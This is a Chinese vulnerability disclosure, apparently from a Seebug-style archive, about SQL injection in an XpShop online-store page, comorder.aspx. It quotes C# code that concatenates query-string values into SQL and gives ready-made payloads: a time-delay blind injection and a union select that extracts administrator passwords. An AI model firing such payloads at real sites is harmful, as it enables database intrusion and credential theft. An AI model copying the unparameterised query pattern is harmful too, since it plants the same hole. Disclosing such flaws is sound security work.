### 简要描述：
### 详细说明：
漏洞位置：**.**.**.**order
```
protected void Page_Load(object sender, EventArgs e)
{
if (base.CurrentUser != null && base.CurrentUser.Name != "anonymous")
{
this.member = base.CurrentUser;
this.shipfree = new ShippingFreeDB().GetShippingFreeDetails(1);
if (!base.IsPostBack)
{
if (base.Request.QueryString["type"] != null && base.Request.QueryString["Action"] != null)
{
string text = base.Request.QueryString["Action"];
if (text != null)
{
if (!(text == "GetSubArea"))
{
if (!(text == "GetAddrDetail"))
{
if (!(text == "GetZtds"))
{
if (!(text == "GetShipps"))
{
if (!(text == "GetShoppingCart"))
{
if (text == "GetAdvancePayment")
{
if (base.CurrentUser != null && base.CurrentUser.Name != "anonymous")
{
base.Response.Write(base.CurrentUser.AdvancePayment);
}
else
{
base.Response.Write("0");
}
}
}
else
{
ShoppingCartDB shoppingCartDB = new ShoppingCartDB();
SqlDataReader items = shoppingCartDB.GetItems(shoppingCartDB.GetShoppingCartId());
string s = XpShopJson.DrtToJSON(items, "Cart");
items.Close();
base.Response.Write(s);
}
}
else
{
this.GetShipps();
}
}
else
{
this.GetZtds();
}
}
```
还是这个函数this.GetZtds();：
```
private void GetZtds()
{
SqlDataReader ztds = new ZtdDB().GetZtds2(base.Request.QueryString["AreaID"]);
string s = XpShopJson.DrtToJSON(ztds, "Ztd");
base.Response.Write(s);
}
```
再跟进：
```
public SqlDataReader GetZtds2(string areaID)
{
string cmdText = string.Concat(new string[]
{
"SELECT * FROM Ztd WHERE ",
Utils.dbo,
"f_GetShippingAreaNo(AreaID) Like (Cast(",
Utils.dbo,
"f_GetShippingAreaNo(",
areaID,
") As nvarchar(30)) + '%') ORDER BY ZtdID"
});
return XpShopDB.ExecuteReader(XpShopDB.ConnectionString, CommandType.Text, cmdText, null);
}
```
好像不回显的。
没有过滤，直接进库给个payload：
/comorder.aspx?type=1&action=GetZtds&AreaID=1) as nvarchar));waitfor delay '0:0:3'--
第二处：
```
public int GetScore()
{
return (this.config.MarkUnit == 1) ? ((int)this.orderDB.GetComTotal(base.CurrentUser.MemberID, this.GetOrderIDs(), "Score")) : 0;
}
```
跟进函数GetComTotal：
```
public DataTable GetComOrderPresents(int memberID, string orderIDs, string productID)
{
string text = "select ProductID,GiftID,PresentName,sum(PresentNum)/count(GiftID) as PresentNum,Ptype,count(GiftID) as Sum from OrderPresent ";
object obj = text;
text = string.Concat(new object[]
{
obj,
" where ",
(productID != "0") ? ("ProductID = " + productID + " and ") : "",
" OrderID In (select OrderID from Orders where (Orders.Status = 0 or Orders.Status = 2 and PayType IN(5,6)) and MemberID = ",
memberID,
" and OrderID in (",
orderIDs,
")) "
});
text += "group by ProductID,GiftID,PresentName,Ptype";
return XpShopDB.ExecuteDataTable(XpShopDB.ConnectionString, CommandType.Text, text, null);
}
```
同样没过滤。
给个payload：
/comorder.aspx?OrderID=1)) union select password from admin--
### 漏洞证明：
http://localhost/comorder.aspx?type=1&action=GetZtds&AreaID=1) as nvarchar));waitfor delay '0:0:3'--
[<img src="https://images.seebug.org/upload/201510/15140550448c162d09f937582e724d762fa3b96c.jpg" alt="blind.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/15140550448c162d09f937582e724d762fa3b96c.jpg)
第二处：
http://localhost/comorder.aspx?OrderID=1)) union select password from admin--
[<img src="https://images.seebug.org/upload/201510/15140606e7e0be443dceaee8504d2334a05a163a.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/15140606e7e0be443dceaee8504d2334a05a163a.jpg)
京公网安备 11010502034610号
暂无评论